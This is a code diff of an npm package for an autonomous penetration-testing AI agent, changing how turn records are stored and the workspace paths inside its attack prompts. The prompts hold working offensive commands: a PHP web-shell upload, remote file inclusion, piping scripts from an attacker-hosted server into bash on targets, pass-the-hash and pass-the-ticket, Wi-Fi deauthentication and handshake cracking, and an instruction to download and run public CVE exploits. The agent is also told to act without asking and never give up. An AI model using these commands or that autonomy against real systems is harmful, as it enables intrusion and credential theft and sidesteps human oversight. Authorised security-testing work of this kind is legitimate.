  sections.push(`# Turn ${turn} | ${time} | Phase: ${phase}`);
12148
12206
  sections.push("");
12149
- sections.push("## \uC2E4\uD589 \uB3C4\uAD6C");
12207
+ sections.push(`## ${TURN_SECTIONS.TOOLS_EXECUTED}`);
12150
12208
  if (tools.length === 0) {
12151
- sections.push("- (\uB3C4\uAD6C \uC2E4\uD589 \uC5C6\uC74C)");
12209
+ sections.push(`- ${TURN_EMPTY_MESSAGES.NO_TOOLS}`);
12152
12210
  } else {
12153
12211
  for (const tool of tools) {
12154
- const status = tool.success ? "\u2705" : "\u274C";
12212
+ const status = tool.success ? STATUS_ICONS.SUCCESS : STATUS_ICONS.FAILURE;
12155
12213
  const line = `- ${tool.name}(${tool.inputSummary}) \u2192 ${status} ${tool.analystSummary}`;
12156
12214
  sections.push(line);
12157
12215
  }
12158
12216
  }
12159
12217
  sections.push("");
12160
- sections.push("## \uD575\uC2EC \uC778\uC0AC\uC774\uD2B8");
12218
+ sections.push(`## ${TURN_SECTIONS.KEY_INSIGHTS}`);
12161
12219
  if (memo6.keyFindings.length > 0) {
12162
- for (const f of memo6.keyFindings) sections.push(`- DISCOVERED: ${f}`);
12220
+ for (const f of memo6.keyFindings) sections.push(`- ${INSIGHT_TAGS.DISCOVERED}: ${f}`);
12163
12221
  }
12164
12222
  if (memo6.credentials.length > 0) {
12165
- for (const c of memo6.credentials) sections.push(`- CREDENTIAL: ${c}`);
12223
+ for (const c of memo6.credentials) sections.push(`- ${INSIGHT_TAGS.CREDENTIAL}: ${c}`);
12166
12224
  }
12167
12225
  if (memo6.attackVectors.length > 0) {
12168
- for (const v of memo6.attackVectors) sections.push(`- CONFIRMED: ${v}`);
12226
+ for (const v of memo6.attackVectors) sections.push(`- ${INSIGHT_TAGS.CONFIRMED}: ${v}`);
12169
12227
  }
12170
12228
  if (memo6.failures.length > 0) {
12171
- for (const f of memo6.failures) sections.push(`- DEAD END: ${f}`);
12229
+ for (const f of memo6.failures) sections.push(`- ${INSIGHT_TAGS.DEAD_END}: ${f}`);
12172
12230
  }
12173
12231
  if (memo6.suspicions.length > 0) {
12174
- for (const s of memo6.suspicions) sections.push(`- SUSPICIOUS: ${s}`);
12232
+ for (const s of memo6.suspicions) sections.push(`- ${INSIGHT_TAGS.SUSPICIOUS}: ${s}`);
12175
12233
  }
12176
12234
  if (memo6.nextSteps.length > 0) {
12177
- for (const n of memo6.nextSteps) sections.push(`- NEXT: ${n}`);
12235
+ for (const n of memo6.nextSteps) sections.push(`- ${INSIGHT_TAGS.NEXT}: ${n}`);
12178
12236
  }
12179
12237
  if (memo6.keyFindings.length === 0 && memo6.failures.length === 0 && memo6.credentials.length === 0) {
12180
- sections.push("- (\uD2B9\uC774\uC0AC\uD56D \uC5C6\uC74C)");
12238
+ sections.push(`- ${TURN_EMPTY_MESSAGES.NO_INSIGHTS}`);
12181
12239
  }
12182
12240
  sections.push("");
12183
- sections.push("## \uC790\uAE30\uBC18\uC131");
12184
- sections.push(reflection || "- (\uBC18\uC131 \uC5C6\uC74C)");
12241
+ sections.push(`## ${TURN_SECTIONS.SELF_REFLECTION}`);
12242
+ sections.push(reflection || `- ${TURN_EMPTY_MESSAGES.NO_REFLECTION}`);
12185
12243
  sections.push("");
12186
12244
  return sections.join("\n");
12187
12245
  }
@@ -12280,6 +12338,7 @@ var MainAgent = class extends CoreAgent {
12280
12338
  if (this.turnCounter === 0) {
12281
12339
  this.turnCounter = getNextTurnNumber();
12282
12340
  }
12341
+ setCurrentTurn(this.turnCounter);
12283
12342
  if (this.userInputQueue.hasPending()) {
12284
12343
  const userMessage = this.userInputQueue.drainAndFormat();
12285
12344
  if (userMessage) {
@@ -12343,12 +12402,11 @@ ${extraction.content.trim()}
12343
12402
  memo: this.turnMemo,
12344
12403
  reflection: this.turnReflections.length > 0 ? this.turnReflections.join(" | ") : this.turnMemo.nextSteps.join("; ")
12345
12404
  };
12346
- writeJournalEntry(entry);
12347
12405
  try {
12348
- ensureDirExists(WORKSPACE.TURNS);
12349
- const ts = (/* @__PURE__ */ new Date()).toISOString().replace(/[:.]/g, "-").slice(0, 19);
12350
- const turnFileName = `turn-${String(this.turnCounter).padStart(4, "0")}_${ts}.md`;
12351
- const turnPath = join12(WORKSPACE.TURNS, turnFileName);
12406
+ const turnDir = WORKSPACE.turnPath(this.turnCounter);
12407
+ const toolsDir = WORKSPACE.turnToolsPath(this.turnCounter);
12408
+ ensureDirExists(turnDir);
12409
+ ensureDirExists(toolsDir);
12352
12410
  const turnContent = formatTurnRecord({
12353
12411
  turn: this.turnCounter,
12354
12412
  timestamp: (/* @__PURE__ */ new Date()).toISOString(),
@@ -12357,12 +12415,31 @@ ${extraction.content.trim()}
12357
12415
  memo: this.turnMemo,
12358
12416
  reflection: entry.reflection
12359
12417
  });
12360
- writeFileSync9(turnPath, turnContent, "utf-8");
12418
+ writeFileSync9(join12(turnDir, TURN_FILES.RECORD), turnContent, "utf-8");
12419
+ writeFileSync9(join12(turnDir, TURN_FILES.STRUCTURED), JSON.stringify(entry, null, 2), "utf-8");
12420
+ const memoLines = [];
12421
+ if (this.turnMemo.keyFindings.length > 0) memoLines.push("## Key Findings", ...this.turnMemo.keyFindings.map((f) => `- ${f}`), "");
12422
+ if (this.turnMemo.credentials.length > 0) memoLines.push("## Credentials", ...this.turnMemo.credentials.map((c) => `- ${c}`), "");
12423
+ if (this.turnMemo.attackVectors.length > 0) memoLines.push("## Attack Vectors", ...this.turnMemo.attackVectors.map((v) => `- ${v}`), "");
12424
+ if (this.turnMemo.failures.length > 0) memoLines.push("## Failures", ...this.turnMemo.failures.map((f) => `- ${f}`), "");
12425
+ if (this.turnMemo.suspicions.length > 0) memoLines.push("## Suspicious", ...this.turnMemo.suspicions.map((s) => `- ${s}`), "");
12426
+ if (this.turnMemo.nextSteps.length > 0) memoLines.push("## Next Steps", ...this.turnMemo.nextSteps.map((n) => `- ${n}`), "");
12427
+ if (memoLines.length > 0) {
12428
+ writeFileSync9(join12(turnDir, TURN_FILES.ANALYST), memoLines.join("\n"), "utf-8");
12429
+ }
12361
12430
  } catch {
12362
12431
  }
12363
12432
  try {
12364
- const summaryPath = join12(WORKSPACE.TURNS, "summary.md");
12365
- const existingSummary = existsSync11(summaryPath) ? readFileSync8(summaryPath, "utf-8") : "";
12433
+ const turnDir = WORKSPACE.turnPath(this.turnCounter);
12434
+ const summaryPath = join12(turnDir, TURN_FILES.SUMMARY);
12435
+ const prevTurn = this.turnCounter - 1;
12436
+ let existingSummary = "";
12437
+ if (prevTurn >= 1) {
12438
+ const prevSummaryPath = join12(WORKSPACE.turnPath(prevTurn), TURN_FILES.SUMMARY);
12439
+ if (existsSync11(prevSummaryPath)) {
12440
+ existingSummary = readFileSync8(prevSummaryPath, "utf-8");
12441
+ }
12442
+ }
12366
12443
  const turnData = formatTurnRecord({
12367
12444
  turn: this.turnCounter,
12368
12445
  timestamp: (/* @__PURE__ */ new Date()).toISOString(),
@@ -12385,13 +12462,12 @@ ${turnData}`
12385
12462
  SUMMARY_REGENERATOR_PROMPT
12386
12463
  );
12387
12464
  if (summaryResponse.content?.trim()) {
12465
+ ensureDirExists(turnDir);
12388
12466
  writeFileSync9(summaryPath, summaryResponse.content.trim(), "utf-8");
12389
12467
  }
12390
12468
  } catch {
12391
12469
  regenerateJournalSummary();
12392
12470
  }
12393
- rotateJournalEntries();
12394
- rotateOutputFiles();
12395
12471
  rotateTurnRecords();
12396
12472
  } catch {
12397
12473
  }
@@ -24,7 +24,7 @@ nmap -Pn -p<ports> -sV -sC -O <target>
24
24
  nmap -Pn -sU --top-ports 30 --min-rate=100 <target>
25
25
 
26
26
  # 6. High-Speed Subnet Scan
27
- masscan <CIDR> -p1-65535 --rate=1000 -oJ .pentesting/tmp/masscan.json
27
+ masscan <CIDR> -p1-65535 --rate=1000 -oJ .pentesting/workspace/masscan.json
28
28
 
29
29
  # 7. Stealth SYN Scan
30
30
  nmap -Pn -sS -T2 --max-retries=1 <target>
@@ -68,4 +68,4 @@ Example:
68
68
  2. **Actionable directives**: Specific, unambiguous commands.
69
69
  3. **Realistic fallbacks**: Always include alternatives on failure.
70
70
  4. **JSON block**: Ensure the JSON is in a valid markdown code block and perfectly parsable.
71
- 5. **Local file paths**: All output redirects MUST use `.pentesting/tmp/` path (e.g., `> .pentesting/tmp/scan.txt`, `tee .pentesting/tmp/output.log`). The path `/tmp/` is BLOCKED for local commands.
71
+ 5. **Local file paths**: All output redirects MUST use `.pentesting/workspace/` path (e.g., `> .pentesting/workspace/scan.txt`, `tee .pentesting/workspace/output.log`). The path `/tmp/` is BLOCKED for local commands.
@@ -83,24 +83,24 @@ If you believe you have exhausted all approaches → use `ask_user` to confirm w
83
83
 
84
84
  ## Absolute Rules
85
85
 
86
- ### 0. ⚠️ LOCAL FILE PATHS — ALWAYS USE `.pentesting/tmp/`
86
+ ### 0. ⚠️ LOCAL FILE PATHS — ALWAYS USE `.pentesting/workspace/`
87
87
 
88
- **All local files (on YOUR machine) MUST use `.pentesting/tmp/`:**
88
+ **All local files (on YOUR machine) MUST use `.pentesting/workspace/`:**
89
89
 
90
90
  ```bash
91
91
  # ✅ CORRECT — Local output files
92
- nmap -sV target > .pentesting/tmp/scan.txt
93
- rustscan -a target | tee .pentesting/tmp/rustscan.log
94
- nuclei -u target -o .pentesting/tmp/nuclei.txt
95
- curl -s url > .pentesting/tmp/response.html
96
- python3 exploit.py | tee .pentesting/tmp/exploit_output.txt
92
+ nmap -sV target > .pentesting/workspace/scan.txt
93
+ rustscan -a target | tee .pentesting/workspace/rustscan.log
94
+ nuclei -u target -o .pentesting/workspace/nuclei.txt
95
+ curl -s url > .pentesting/workspace/response.html
96
+ python3 exploit.py | tee .pentesting/workspace/exploit_output.txt
97
97
 
98
98
  # ❌ FORBIDDEN — /tmp/ is NOT allowed for local files
99
99
  nmap target > /tmp/scan.txt # ❌ BLOCKED
100
100
  rustscan | tee /tmp/output.log # ❌ BLOCKED
101
101
  ```
102
102
 
103
- **Why?** Security policy enforces `.pentesting/tmp/` as the only allowed redirect path.
103
+ **Why?** Security policy enforces `.pentesting/workspace/` as the only allowed redirect path.
104
104
 
105
105
  **Exception:** Commands executed ON THE TARGET (via shell) can use `/tmp/`:
106
106
  ```bash
@@ -109,8 +109,8 @@ bg_process({ action: "interact", command: "wget http://attacker/file -O /tmp/fil
109
109
  ```
110
110
 
111
111
  **Remember:**
112
- - `write_file({ path: ".pentesting/tmp/..." })` → ✅
113
- - `run_cmd({ command: "... > .pentesting/tmp/..." })` → ✅
112
+ - `write_file({ path: ".pentesting/workspace/..." })` → ✅
113
+ - `run_cmd({ command: "... > .pentesting/workspace/..." })` → ✅
114
114
  - `run_cmd({ command: "... > /tmp/..." })` → ❌ BLOCKED
115
115
 
116
116
  ### 1. Act, Don't Ask
@@ -306,8 +306,8 @@ Additional principles:
306
306
  1. web_search("{CVE_number} exploit PoC github")
307
307
  2. browse_url(search_result_URL) → verify PoC code
308
308
  3. Analyze code: check dependencies/execution conditions → install dependencies with run_cmd if needed
309
- 4. write_file({ path: ".pentesting/tmp/exploit.py", content: "..." })
310
- 5. run_cmd({ command: "python3 .pentesting/tmp/exploit.py TARGET" })
309
+ 4. write_file({ path: ".pentesting/workspace/exploit.py", content: "..." })
310
+ 5. run_cmd({ command: "python3 .pentesting/workspace/exploit.py TARGET" })
311
311
  6. On failure → analyze error → modify code (overwrite with write_file) → re-execute
312
312
  7. Still failing → search for different PoC or modify code directly
313
313
  ```
@@ -343,8 +343,8 @@ Even when existing tools are available, writing your own is often faster and mor
343
343
 
344
344
  ### Write Code → Execute → Iterate
345
345
  ```
346
- 1. write_file({ path: ".pentesting/tmp/exploit.py", content: "..." })
347
- 2. run_cmd({ command: "python3 .pentesting/tmp/exploit.py" })
346
+ 1. write_file({ path: ".pentesting/workspace/exploit.py", content: "..." })
347
+ 2. run_cmd({ command: "python3 .pentesting/workspace/exploit.py" })
348
348
  3. Error → analyze error → modify with write_file → re-execute
349
349
  4. Repeat this loop until success. No giving up.
350
350
  ```
@@ -362,8 +362,8 @@ Even when existing tools are available, writing your own is often faster and mor
362
362
  If you have a shell, you can write and execute code **directly on the target machine**:
363
363
  ```
364
364
  # Method 1: Write locally → transfer via HTTP → execute on target
365
- write_file({ path: ".pentesting/tmp/enum.sh", content: "#!/bin/bash\nfind / -perm -4000 ..." })
366
- run_cmd({ command: "python3 -m http.server 8888 -d .pentesting/tmp", background: true })
365
+ write_file({ path: ".pentesting/workspace/enum.sh", content: "#!/bin/bash\nfind / -perm -4000 ..." })
366
+ run_cmd({ command: "python3 -m http.server 8888 -d .pentesting/workspace", background: true })
367
367
  bg_process({ action: "interact", ..., command: "curl http://ATTACKER:8888/enum.sh | bash" })
368
368
 
369
369
  # Method 2: Write directly in shell (using echo/cat)
@@ -376,7 +376,7 @@ bg_process({ action: "interact", ..., command: "python3 -c 'import os; os.system
376
376
  ### Code Crafting Principles
377
377
  1. **Small and fast** — quickly build a 20-line script and test. No need for perfection
378
378
  2. **Iterative improvement** — error → fix → re-execute. No limit on iterations
379
- 3. **Reuse** — save to `.pentesting/tmp/` and reuse. Can also transfer to target
379
+ 3. **Reuse** — save to `.pentesting/workspace/` and reuse. Can also transfer to target
380
380
  4. **Error handling** — wrap in try/except so the process doesn't die
381
381
  5. **Execute on target too** — transfer scripts to target via shell → execute
382
382
  6. **Don't be afraid to modify existing code** — whether PoC or tool, adapt it for the environment
@@ -478,8 +478,8 @@ bg_process({ action: "interact", ..., command: "perl -e 'exec \"/bin/bash\";'" }
478
478
  **Attempt 5: Download upgrade script from local server**
479
479
  ```
480
480
  # Prepare locally:
481
- write_file({ path: ".pentesting/tmp/u.sh", content: "#!/bin/bash\npython3 -c 'import pty;pty.spawn(\"/bin/bash\")' 2>/dev/null || python -c 'import pty;pty.spawn(\"/bin/bash\")' 2>/dev/null || script -qc /bin/bash /dev/null 2>/dev/null || expect -c 'spawn bash; interact' 2>/dev/null || /bin/bash -i" })
482
- run_cmd({ command: "python3 -m http.server 8888 -d .pentesting/tmp", background: true })
481
+ write_file({ path: ".pentesting/workspace/u.sh", content: "#!/bin/bash\npython3 -c 'import pty;pty.spawn(\"/bin/bash\")' 2>/dev/null || python -c 'import pty;pty.spawn(\"/bin/bash\")' 2>/dev/null || script -qc /bin/bash /dev/null 2>/dev/null || expect -c 'spawn bash; interact' 2>/dev/null || /bin/bash -i" })
482
+ run_cmd({ command: "python3 -m http.server 8888 -d .pentesting/workspace", background: true })
483
483
 
484
484
  # Download on target (try multiple methods):
485
485
  bg_process({ action: "interact", ..., command: "curl http://MYIP:8888/u.sh -o /tmp/.u && chmod +x /tmp/.u && bash /tmp/.u" })
@@ -626,24 +626,11 @@ Ask yourself at every Reflect step:
626
626
  8. **Search when stuck** — `web_search` and `browse_url` are the most powerful weapons
627
627
  9. **Write code directly if needed** — write scripts with `write_file` → execute with `run_cmd`
628
628
 
629
- ## 📂 Session Memory — Past Turn Records
629
+ ## 📂 Session Memory
630
630
 
631
- Your past actions and insights are saved as files. Use them freely:
631
+ Your workspace is `.pentesting/` — all your past actions, outputs, and analysis are saved here. **Nothing is lost.**
632
632
 
633
- ```
634
- .pentesting/memory/turns/
635
- ├── summary.md ← Full session summary (updated every turn)
636
- ├── turn-0001_2026-02-21T08-30-15.md ← Turn 1 details
637
- ├── turn-0002_2026-02-21T08-31-22.md ← Turn 2 details
638
- └── ...
639
- ```
640
-
641
- **Each turn file has 3 sections:**
642
- - `## 실행 도구` — Exact commands/tools/arguments used
643
- - `## 핵심 인사이트` — What was discovered, confirmed, or failed
644
- - `## 자기반성` — Turn assessment and next priority
633
+ - **`.pentesting/archive/`** — Each turn is a named folder (`turn-1/`, `turn-2/`, `turn-3/`, ...). Browse any turn to see what happened — the filenames are self-explanatory.
634
+ - Each turn folder contains a `summary.md` with the session overview as of that turn. **Read the latest turn's `summary.md` for the full picture.**
645
635
 
646
- **How to use:**
647
- - `summary.md` gives you the full picture — read it to understand where you stand
648
- - Need details of a specific past turn? → `read_file(".pentesting/memory/turns/turn-0005_...")`
649
- - All past findings, credentials, dead ends are preserved — never lost
636
+ **Use `read_file` freely** to review past turns, tool outputs, and analysis whenever you need context. The structure is designed so you can navigate it without instructions.
@@ -89,7 +89,7 @@ impacket-psexec -hashes :<ntlm> <domain>/<user>@<target>
89
89
  crackmapexec smb <targets> -u <user> -H <ntlm> --exec-method smbexec -x "whoami"
90
90
 
91
91
  # Pass-the-Ticket
92
- export KRB5CCNAME=.pentesting/tmp/admin.ccache
92
+ export KRB5CCNAME=.pentesting/workspace/admin.ccache
93
93
  impacket-psexec -k -no-pass <domain>/<user>@<target>
94
94
  ```
95
95
 
@@ -23,10 +23,10 @@ Every turn, you must:
23
23
  ### Phase 1: Automated Scanning
24
24
  ```bash
25
25
  # Nuclei — Critical/High only
26
- nuclei -u <target> -severity critical,high -silent -o .pentesting/tmp/nuclei-results.txt
26
+ nuclei -u <target> -severity critical,high -silent -o .pentesting/workspace/nuclei-results.txt
27
27
 
28
28
  # Nikto — web server
29
- nikto -h <target> -C all -Format txt -output .pentesting/tmp/nikto.txt
29
+ nikto -h <target> -C all -Format txt -output .pentesting/workspace/nikto.txt
30
30
 
31
31
  # testssl — TLS vulnerabilities
32
32
  testssl --severity HIGH <target>:443
@@ -56,7 +56,7 @@ curl "http://<target>/page?file=php://filter/convert.base64-encode/resource=/etc
56
56
 
57
57
  # RFI (payload server needed)
58
58
  # 1. Start payload server
59
- run_cmd({ command: "python3 -m http.server 8888 -d .pentesting/tmp", background: true })
59
+ run_cmd({ command: "python3 -m http.server 8888 -d .pentesting/workspace", background: true })
60
60
  # 2. RFI test
61
61
  curl "http://<target>/page?file=http://MYIP:8888/test.php"
62
62
  # 3. Check results then clean up server
@@ -45,8 +45,8 @@ curl "http://<target>/page?name={{7*7}}"
45
45
  curl "http://<target>/fetch?url=http://169.254.169.254/latest/meta-data/"
46
46
 
47
47
  # File Upload → Web Shell
48
- echo '<?php system($_GET["cmd"]); ?>' > .pentesting/tmp/shell.php
49
- curl -F "file=@.pentesting/tmp/shell.php" http://<target>/upload
48
+ echo '<?php system($_GET["cmd"]); ?>' > .pentesting/workspace/shell.php
49
+ curl -F "file=@.pentesting/workspace/shell.php" http://<target>/upload
50
50
  ```
51
51
 
52
52
  ## Output
@@ -21,7 +21,7 @@ airodump-ng wlan0mon
21
21
  airodump-ng wlan0mon --band abg # Including 5GHz
22
22
 
23
23
  # Specific Network + Client Capture
24
- airodump-ng wlan0mon -c <channel> --bssid <bssid> -w .pentesting/tmp/capture
24
+ airodump-ng wlan0mon -c <channel> --bssid <bssid> -w .pentesting/workspace/capture
25
25
 
26
26
  # WPS Vulnerability Check
27
27
  wash -i wlan0mon
@@ -29,18 +29,18 @@ reaver -i wlan0mon -b <bssid> -vv
29
29
 
30
30
  # WPA/WPA2 Handshake Capture
31
31
  aireplay-ng -0 5 -a <bssid> wlan0mon # deauth
32
- airodump-ng wlan0mon -c <ch> --bssid <bssid> -w .pentesting/tmp/handshake
32
+ airodump-ng wlan0mon -c <ch> --bssid <bssid> -w .pentesting/workspace/handshake
33
33
  # Verify Handshake Capture
34
- aircrack-ng .pentesting/tmp/handshake-01.cap
34
+ aircrack-ng .pentesting/workspace/handshake-01.cap
35
35
 
36
36
  # Handshake Cracking
37
- aircrack-ng -w /usr/share/wordlists/rockyou.txt .pentesting/tmp/handshake-01.cap
38
- hashcat -m 22000 .pentesting/tmp/handshake.hc22000 /usr/share/wordlists/rockyou.txt
37
+ aircrack-ng -w /usr/share/wordlists/rockyou.txt .pentesting/workspace/handshake-01.cap
38
+ hashcat -m 22000 .pentesting/workspace/handshake.hc22000 /usr/share/wordlists/rockyou.txt
39
39
 
40
40
  # PMKID Attack (no client needed)
41
- hcxdumptool -i wlan0mon --enable_status=1 -o .pentesting/tmp/pmkid.pcapng
42
- hcxpcapngtool .pentesting/tmp/pmkid.pcapng -o .pentesting/tmp/pmkid.hash
43
- hashcat -m 22000 .pentesting/tmp/pmkid.hash /usr/share/wordlists/rockyou.txt
41
+ hcxdumptool -i wlan0mon --enable_status=1 -o .pentesting/workspace/pmkid.pcapng
42
+ hcxpcapngtool .pentesting/workspace/pmkid.pcapng -o .pentesting/workspace/pmkid.hash
43
+ hashcat -m 22000 .pentesting/workspace/pmkid.hash /usr/share/wordlists/rockyou.txt
44
44
 
45
45
  # Evil Twin / Rogue AP
46
46
  hostapd-mana /etc/hostapd-mana/hostapd-mana.conf
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "pentesting",
3
- "version": "0.49.3",
3
+ "version": "0.50.0",
4
4
  "description": "Autonomous Penetration Testing AI Agent",
5
5
  "type": "module",
6
6
  "main": "dist/main.js",